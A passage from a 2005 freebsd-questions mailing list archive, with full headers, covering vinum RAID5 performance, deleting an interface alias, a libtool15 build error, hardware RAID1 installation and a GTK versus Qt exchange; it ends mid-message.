04:25:45 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 2DA4612B139; Wed, 9 Feb 2005 00:25:44 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 26210-07; Wed, 9 Feb 2005 04:25:44 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id AC66D12B128; Wed, 9 Feb 2005 00:25:43 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 5FB5A37C0E; Wed, 9 Feb 2005 00:25:42 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 5E37037985; Wed, 9 Feb 2005 00:25:42 -0400 (AST) Date: Wed, 9 Feb 2005 00:25:42 -0400 (AST) From: "Marc G. Fournier" To: Greg 'groggy' Lehey In-Reply-To: <20050209034624.GN28715@wantadilla.lemis.com> Message-ID: <20050209002232.B94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209034624.GN28715@wantadilla.lemis.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:25:45 -0000 On Wed, 9 Feb 2005, Greg 'groggy' Lehey wrote: > On Tuesday, 8 February 2005 at 23:21:54 -0400, Marc G. Fournier wrote: >> >> I have a Dual-Xeon server with 4G of RAM, with its primary file system >> consisting of 4x73G SCSI drives running RAID5 using vinum ... the >> operating system is currently FreeBSD 4.10-STABLE #1: Fri Oct 22 15:06:55 >> ADT 2004 ... swap usage is 0% (6149) ... and it performs worse then any of >> my other servers, and I have less running on it then the other servers ... >> >> I also have HTT disabled on this server ... and softupdates enabled on the >> file system ... >> >> That said ... am I hitting limits of software raid or is there something I >> should be looking at as far as performance is concerned? Maybe something >> I have misconfigured? > > Based on what you've said, it's impossible to tell. Details would be > handy. Like? I'm not sure what would be useful for this one ... I just sent in my current drive config ... something else useful? systat -v output help: 4 users Load 4.64 5.58 5.77 Feb 9 00:24 Mem:KB REAL VIRTUAL VN PAGER SWAP PAGER Tot Share Tot Share Free in out in out Act 1904768 137288 3091620 381128 159276 count All 3850780 221996 1078752 605460 pages 7921 zfod Interrupts Proc:r p d s w Csw Trp Sys Int Sof Flt 242 cow 681 total 24 9282 949 8414***** 678 349 8198 566916 wire ahd0 irq16 2527420 act 67 ahd1 irq17 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl 608208 inact 157 em0 irq18 | | | | | | | | | | 146620 cache 200 clk irq0 ===========================>>>>>>>>>>>>>>>>>>>>> 12656 free 257 rtc irq8 daefr Namei Name-cache Dir-cache 7363 prcfr Calls hits % hits % react 46106 46005 100 13 0 pdwake pdpgs Disks da0 da1 da2 da3 da4 pass0 pass1 intrn KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 204096 buf tps 23 2 4 3 1 0 0 1610 dirtybuf MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 512000 desiredvnodes % busy 3 1 1 1 0 0 0 397436 numvnodes 166179 freevnodes Drives da1 -> da4 are used on the vinum array da0 is just the system drive ... ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:28:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CAA9016A4CE for ; Wed, 9 Feb 2005 04:28:42 +0000 (GMT) Received: from mail.meangrape.com (mail.meangrape.com [209.223.7.159]) by mx1.FreeBSD.org (Postfix) with SMTP id 3CB4943D31 for ; Wed, 9 Feb 2005 04:28:42 +0000 (GMT) (envelope-from jay@meangrape.com) Received: (qmail 44265 invoked by uid 1002); 9 Feb 2005 04:29:42 -0000 Date: Tue, 8 Feb 2005 22:29:42 -0600 From: Jay To: freebsd-questions@freebsd.org Message-ID: <20050209042942.GI43604@mail.meangrape.com> Mail-Followup-To: Jay , freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="3U8TY7m7wOx7RL1F" Content-Disposition: inline X-PGP-Signature: C9C8 6FEE 0E34 A778 8D4A 5240 B5C6 6B4A C364 241A User-Agent: Mutt/1.5.7i Subject: Can't delete an interface alias SIOCDIFADDR X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:28:43 -0000 --3U8TY7m7wOx7RL1F Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I've got a network interface with 3 IP addresses. I can't delete the third alias. Is it possible to delete this alias without taking hte interface down? cabernet# ifconfig fxp0 fxp0: flags=3D9843 mtu 1500 options=3D48 inet 209.223.7.159 netmask 0xffffffff broadcast 209.223.7.159 inet 209.223.7.157 netmask 0xffffffc0 broadcast 209.223.7.191 inet 209.233.7.161 netmask 0xffffffff broadcast 209.233.7.161 ether 00:06:29:af:d9:ea media: Ethernet 100baseTX status: active cabernet# ifconfig fxp0 delete 209.223.7.161/32 ifconfig: 209.223.7.161/32: bad value cabernet# ifconfig fxp0 delete 209.223.7.161 ifconfig: ioctl (SIOCDIFADDR): Can't assign requested address cabernet# ifconfig fxp0 -alias 209.223.7.161 ifconfig: ioctl (SIOCDIFADDR): Can't assign requested address OK, maybe there's some other reference in the system that I need to delete like a route or an arp entry. cabernet# route get 209.223.7.161 route to: merlot destination: 209-223-7-128.sub3.oplnk.net mask: 255.255.255.192 interface: fxp0 flags: recvpipe sendpipe ssthresh rtt,msec rttvar hopcount mtu expire 0 0 0 0 0 0 1500 -1667241=20 cabernet# arp -a -i fxp0 209-223-7-129.sub3.oplnk.net (209.223.7.129) at 00:00:0c:fa:2f:68 on fxp0 [ethernet] ns1.meangrape.com (209.223.7.157) at 00:06:29:af:d9:ea on fxp0 permanent [ethernet] mail.meangrape.com (209.223.7.159) at 00:06:29:af:d9:ea on fxp0 permanent [ethernet] cabernet# arp -d merlot.meangrape.com delete: cannot locate merlot.meangrape.com cabernet# arp -d 209.223.7.161 delete: cannot locate 209.223.7.161 i cabernet# netstat -nr Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 209.223.7.129 UGS 0 1722778 fxp0 127.0.0.1 127.0.0.1 UH 0 223547 lo0 192.168.0 link#2 UC 0 0 rl1 192.168.0.1 00:50:ba:54:00:ac UHLW 0 6 lo0 209.223.7.128/26 link#3 UC 0 0 fxp0 209.223.7.129 00:00:0c:fa:2f:68 UHLW 1 0 fxp0 1169 209.223.7.157 00:06:29:af:d9:ea UHLW 0 650 lo0 209.223.7.158 00:50:ba:43:9e:a4 UHLW 0 4 lo0 =3D> 209.223.7.158/32 link#1 UC 0 0 rl0 209.223.7.159 00:06:29:af:d9:ea UHLW 0 4 lo0 =3D> 209.223.7.159/32 link#3 UC 0 0 fxp0 209.223.7.160 00:50:ba:43:9e:a4 UHLW 0 24 lo0 =3D> 209.223.7.160/32 link#1 UC 0 0 rl0 209.233.7.161/32 link#3 UC 0 0 fxp0 cabernet# route delete 209.223.7.161/21 route: writing to routing socket: No such process delete net 209.223.7.161: not in table --=20 Jay. --3U8TY7m7wOx7RL1F Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCZG2tcZrSsNkJBoRAnfaAJ9VEfa8kTSEYaQpm1etFPSYRK9JgQCfZ+zc jJpV5KhJRnpBuh8ZoAHLO+0= =6rIf -----END PGP SIGNATURE----- --3U8TY7m7wOx7RL1F-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:29:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEFB516A4CE for ; Wed, 9 Feb 2005 04:29:56 +0000 (GMT) Received: from outside.taborandtashell.net (sub18-33.member.dsl-only.net [63.105.18.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id F388643D39 for ; Wed, 9 Feb 2005 04:29:53 +0000 (GMT) (envelope-from tkelly-freebsd-questions@taborandtashell.net) Received: (qmail 86396 invoked from network); 8 Feb 2005 20:29:48 -0800 Received: from laptop.taborandtashell.net (HELO ?192.168.0.9?) (tkelly@192.168.0.9) by outside.taborandtashell.net with AES256-SHA encrypted SMTP; 8 Feb 2005 20:29:48 -0800 Message-ID: <420991C1.2030808@taborandtashell.net> Date: Tue, 08 Feb 2005 20:29:53 -0800 From: Tabor Kelly User-Agent: Mozilla Thunderbird 1.0 (X11/20041230) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Gert Cuykens References: <1107920345.41909.2.camel@codegurus.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: Mick Walker cc: "freebsd-questions@freebsd.org" Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: tkelly-freebsd-questions@taborandtashell.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:29:57 -0000 Gert Cuykens wrote: > On Wed, 09 Feb 2005 03:39:05 +0000, Mick Walker wrote: > >>Why would you make a statement like that without making points to back >>it up? > > > because i dont have points except that qt can kiss my $$$ :) > > no i am just wondering what you guy's think thats all i lookt around > on the internet a bit but that was old stuff about gtk1 and so. I have read the QT is far more efficient and that the only reason anyone uses GTK is for licensing reasons. Any comments? Also, not to mention that QT is fully portable to M$ Windows. -- Tabor Kelly tkelly-freebsd-questions@taborandtashell.net http://tabor.taborandtashell.net From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:30:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CC8A16A4CE for ; Wed, 9 Feb 2005 04:30:40 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id EA92243D2D for ; Wed, 9 Feb 2005 04:30:38 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j194Ub0U040221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Feb 2005 11:30:37 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j194UbuD044020; Wed, 9 Feb 2005 11:30:37 +0700 (ICT) Date: Wed, 9 Feb 2005 11:30:37 +0700 (ICT) Message-Id: <200502090430.j194UbuD044020@banyan.cs.ait.ac.th> From: Olivier Nicole To: questions@freebsd.org X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Libtool15 missing --tag X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:30:40 -0000 Hi, I am trying to compile mysql40-client on FreeBSD 5.3 p4 It hangs with the error message: Making all in libmysql_r if /usr/local/bin/libtool15 --preserve-dup-deps --mode=compile gcc -DDEFAULT_CHARSET_HOME="\"/usr/local\"" -DDATADIR="\"/var/db/mysql\"" -DSHAREDIR="\"/usr/local/share/mysql\"" -DDONT_USE_RAID -DMYSQL_CLIENT -I. -I. -I.. -I./../include -I../include -I./.. -I.. -I.. -DDBUG_OFF -O -pipe -MT password.lo -MD -MP -MF ".deps/password.Tpo" -c -o password.lo password.c; then mv -f ".deps/password.Tpo" ".deps/password.Plo"; else rm -f ".deps/password.Tpo"; exit 1; fi libtool15: compile: unable to infer tagged configuration libtool15: compile: specify a tag with `--tag' *** Error code 1 If I do the gcc manually, itis OK, so it looks really like it is caused by libtool. Any clue? uname -a FreeBSD xxx.net 5.3-RELEASE-p4 FreeBSD 5.3-RELEASE-p4 #2: Tue Jan 11 07:28:49 CET 2005 root@xxx.net:/usr/obj/usr/src/sys/OMC amd64 TIA Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:35:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 18BB016A4CE; Wed, 9 Feb 2005 04:35:22 +0000 (GMT) Received: from smtp14.singnet.com.sg (smtp14.singnet.com.sg [165.21.6.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id C5CB443D31; Wed, 9 Feb 2005 04:35:20 +0000 (GMT) (envelope-from spades@galaxynet.org) Received: from astral (bb219-74-177-99.singnet.com.sg [219.74.177.99]) by smtp14.singnet.com.sg (8.13.3/8.13.3) with SMTP id j194ZIs3017036; Wed, 9 Feb 2005 12:35:18 +0800 Message-ID: <01dd01c50e60$c6a21f10$0300a8c0@astral> From: "Spades" To: References: <41B7D5DB.50906@shaw.ca> Date: Wed, 9 Feb 2005 12:35:25 +0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 cc: users@freebsd.org Subject: raid 1 hotswap on freebsd X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Spades List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:35:22 -0000 Hihi, I have on-board hardware that supports RAID 1, hotswap. How do I install it on FreeBSD 4.10 as in, during installation or do I need a software or application from ports to do it? PS: wonder if anyone has done this or use a step-by-step? Thanks! Regards, Bryan From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:35:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6989816A4CE for ; Wed, 9 Feb 2005 04:35:47 +0000 (GMT) Received: from mail.meangrape.com (mail.meangrape.com [209.223.7.159]) by mx1.FreeBSD.org (Postfix) with SMTP id C581943D39 for ; Wed, 9 Feb 2005 04:35:46 +0000 (GMT) (envelope-from jay@meangrape.com) Received: (qmail 44428 invoked by uid 1002); 9 Feb 2005 04:36:47 -0000 Date: Tue, 8 Feb 2005 22:36:47 -0600 From: Jay To: Olivier Nicole Message-ID: <20050209043647.GJ43604@mail.meangrape.com> References: <200502090430.j194UbuD044020@banyan.cs.ait.ac.th> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yr/DzoowOgTDcSCF" Content-Disposition: inline In-Reply-To: <200502090430.j194UbuD044020@banyan.cs.ait.ac.th> X-PGP-Signature: C9C8 6FEE 0E34 A778 8D4A 5240 B5C6 6B4A C364 241A User-Agent: Mutt/1.5.7i cc: questions@freebsd.org Subject: Re: Libtool15 missing --tag X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:35:47 -0000 --yr/DzoowOgTDcSCF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 11:30:37AM +0700, Olivier Nicole wrote: > I am trying to compile mysql40-client on FreeBSD 5.3 p4 Got one working right now. > It hangs with the error message: >=20 > Making all in libmysql_r > if /usr/local/bin/libtool15 --preserve-dup-deps --mode=3Dcompile gcc -DDE= FAULT_CHARSET_HOME=3D"\"/usr/local\"" -DDATADIR=3D"\"/var/db/mysql\"" -DS= HAREDIR=3D"\"/usr/local/share/mysql\"" -DDONT_USE_RAID -DMYSQL_CLIENT -I. = -I. -I.. -I./../include -I../include -I./.. -I.. -I.. -DDBUG_OFF -O -= pipe -MT password.lo -MD -MP -MF ".deps/password.Tpo" -c -o password.lo pas= sword.c; then mv -f ".deps/password.Tpo" ".deps/password.Plo"; else rm -f = ".deps/password.Tpo"; exit 1; fi > libtool15: compile: unable to infer tagged configuration > libtool15: compile: specify a tag with `--tag' > *** Error code 1 > If I do the gcc manually, itis OK, so it looks really like it is > caused by libtool. Try updating your ports via cvsup. In my experience if something works when done "by hand" but doesn't work from "make install" that's a good place to start.=20 --=20 Jay. --yr/DzoowOgTDcSCF Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCZNftcZrSsNkJBoRAtoNAJ9SzWLs0LvKeO64hWNKxEbGkO7tewCfTjX/ 37Xo4rLw5LG8A9CSTI1aMXY= =mb0Y -----END PGP SIGNATURE----- --yr/DzoowOgTDcSCF-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:38:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C38916A4CE; Wed, 9 Feb 2005 04:38:21 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3CE0B43D2F; Wed, 9 Feb 2005 04:38:20 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j194cJJF040598 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 11:38:19 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j194cI6g044232; Wed, 9 Feb 2005 11:38:18 +0700 (ICT) Date: Wed, 9 Feb 2005 11:38:18 +0700 (ICT) Message-Id: <200502090438.j194cI6g044232@banyan.cs.ait.ac.th> From: Olivier Nicole To: spades@galaxynet.org In-reply-to: <01dd01c50e60$c6a21f10$0300a8c0@astral> (spades@galaxynet.org) References: <41B7D5DB.50906@shaw.ca> <01dd01c50e60$c6a21f10$0300a8c0@astral> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: users@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: raid 1 hotswap on freebsd X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:38:21 -0000 > I have on-board hardware that supports RAID 1, hotswap. > How do I install it on FreeBSD 4.10 as in, during installation Since you use hardware RAID, your OS sees only one disk, it ignores that there is multiple physical disks. So you just go and install the usual way, as with no RAID. Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:39:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A1C5E16A4CE for ; Wed, 9 Feb 2005 04:39:46 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7C63F43D39 for ; Wed, 9 Feb 2005 04:39:45 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j194diCn040685 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 11:39:44 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j194disX044238; Wed, 9 Feb 2005 11:39:44 +0700 (ICT) Date: Wed, 9 Feb 2005 11:39:44 +0700 (ICT) Message-Id: <200502090439.j194disX044238@banyan.cs.ait.ac.th> From: Olivier Nicole To: jay@meangrape.com In-reply-to: <20050209043647.GJ43604@mail.meangrape.com> (message from Jay on Tue, 8 Feb 2005 22:36:47 -0600) References: <200502090430.j194UbuD044020@banyan.cs.ait.ac.th> <20050209043647.GJ43604@mail.meangrape.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: questions@freebsd.org Subject: Re: Libtool15 missing --tag X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:39:46 -0000 > Try updating your ports via cvsup. In my experience if something works > when done "by hand" but doesn't work from "make install" that's a good > place to start.=20 I'll try, but ports are cvsup'ed from less than 24 hours ago. Olivier From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:42:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92F6C16A4CE for ; Wed, 9 Feb 2005 04:42:26 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5227443D1F for ; Wed, 9 Feb 2005 04:42:26 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 6D2A9512FC; Tue, 8 Feb 2005 20:42:24 -0800 (PST) Date: Tue, 8 Feb 2005 20:42:24 -0800 From: Kris Kennaway To: Olivier Nicole Message-ID: <20050209044224.GA37556@xor.obsecurity.org> References: <200502090430.j194UbuD044020@banyan.cs.ait.ac.th> <20050209043647.GJ43604@mail.meangrape.com> <200502090439.j194disX044238@banyan.cs.ait.ac.th> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VbJkn9YxBvnuCH5J" Content-Disposition: inline In-Reply-To: <200502090439.j194disX044238@banyan.cs.ait.ac.th> User-Agent: Mutt/1.4.2.1i cc: jay@meangrape.com cc: questions@freebsd.org Subject: Re: Libtool15 missing --tag X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:42:26 -0000 --VbJkn9YxBvnuCH5J Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 11:39:44AM +0700, Olivier Nicole wrote: > > Try updating your ports via cvsup. In my experience if something works > > when done "by hand" but doesn't work from "make install" that's a good > > place to start.=3D20 >=20 > I'll try, but ports are cvsup'ed from less than 24 hours ago. Try reinstalling libtool15, it may have been damaged or overwritten by some other random version of libtool (e.g. if you compiled and installed some software outside of ports). Kris --VbJkn9YxBvnuCH5J Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCZSwWry0BWjoQKURAsruAJ0U6Iv5Q7vwT2B49qbP9gC+4W0CvwCgtuCB mq0+nQMOnszNTwgbk3v+cn8= =SxA5 -----END PGP SIGNATURE----- --VbJkn9YxBvnuCH5J-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 04:53:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 41ECF16A4CE for ; Wed, 9 Feb 2005 04:53:56 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id C58DB43D1D for ; Wed, 9 Feb 2005 04:53:55 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1040998rne for ; Tue, 08 Feb 2005 20:53:55 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=NolNVQbYxXhZN1F1BxUSO1XHIuypf4PdlO6crb10f2NPDmlQdUN89GSeAyM3lj6YNMpiaNv0TSxMoq2XYudMzy43SWE4TcD4XiKqZFRWfMVEED+f5s6Aci5921KLo36ko90zmIegRmYcynSnpnSJPSxbrVKdn8B9jboc5tUHl58= Received: by 10.38.9.14 with SMTP id 14mr207073rni; Tue, 08 Feb 2005 20:53:55 -0800 (PST) Received: by 10.38.74.23 with HTTP; Tue, 8 Feb 2005 20:53:55 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 05:53:55 +0100 From: Gert Cuykens To: tkelly-freebsd-questions@taborandtashell.net In-Reply-To: <420991C1.2030808@taborandtashell.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1107920345.41909.2.camel@codegurus.org> <420991C1.2030808@taborandtashell.net> cc: Mick Walker cc: "freebsd-questions@freebsd.org" Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 04:53:56 -0000 On Tue, 08 Feb 2005 20:29:53 -0800, Tabor Kelly wrote: > Gert Cuykens wrote: > > On Wed, 09 Feb 2005 03:39:05 +0000, Mick Walker wrote: > > > >>Why would you make a statement like that without making points to back > >>it up? > > > > > > because i dont have points except that qt can kiss my $$$ :) > > > > no i am just wondering what you guy's think thats all i lookt around > > on the internet a bit but that was old stuff about gtk1 and so. > > I have read the QT is far more efficient and that the only reason anyone > uses GTK is for licensing reasons. Any comments? Also, not to mention > that QT is fully portable to M$ Windows. > i knew you where going to say that , let me fire some counter measures by saying that GTK2 + GIMP works excellent on windows XP From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 05:02:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8757316A4CE; Wed, 9 Feb 2005 05:02:53 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id DDCE043D1F; Wed, 9 Feb 2005 05:02:52 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id A05EE12B13D; Wed, 9 Feb 2005 01:02:51 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 29733-07; Wed, 9 Feb 2005 05:02:51 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id 7B36212B139; Wed, 9 Feb 2005 01:02:50 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id EC1683830D; Wed, 9 Feb 2005 01:02:48 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id EAD593749A; Wed, 9 Feb 2005 01:02:48 -0400 (AST) Date: Wed, 9 Feb 2005 01:02:48 -0400 (AST) From: "Marc G. Fournier" To: Greg 'groggy' Lehey In-Reply-To: <20050209002232.B94338@ganymede.hub.org> Message-ID: <20050209004513.G94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: freebsd-questions@freebsd.org Subject: Dual-Xeon vs Dual-PIII (Was: Re: vinum in 4.x poor performer?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 05:02:53 -0000 The more I'm looking at this, the less I can believe my 'issue' is with vinum ... based on one of my other machines, it just doesn't *feel* right .... I have two servers that are fairly similar in config ... both running vinum RAID5 over 4 disks ... one is the Dual-Xeon that I'm finding "problematic" with 73G Seagate drives, and the other is the Dual-PIII with 36G Seagate drives ... The reason that I'm finding it hard to believe that my problem is with 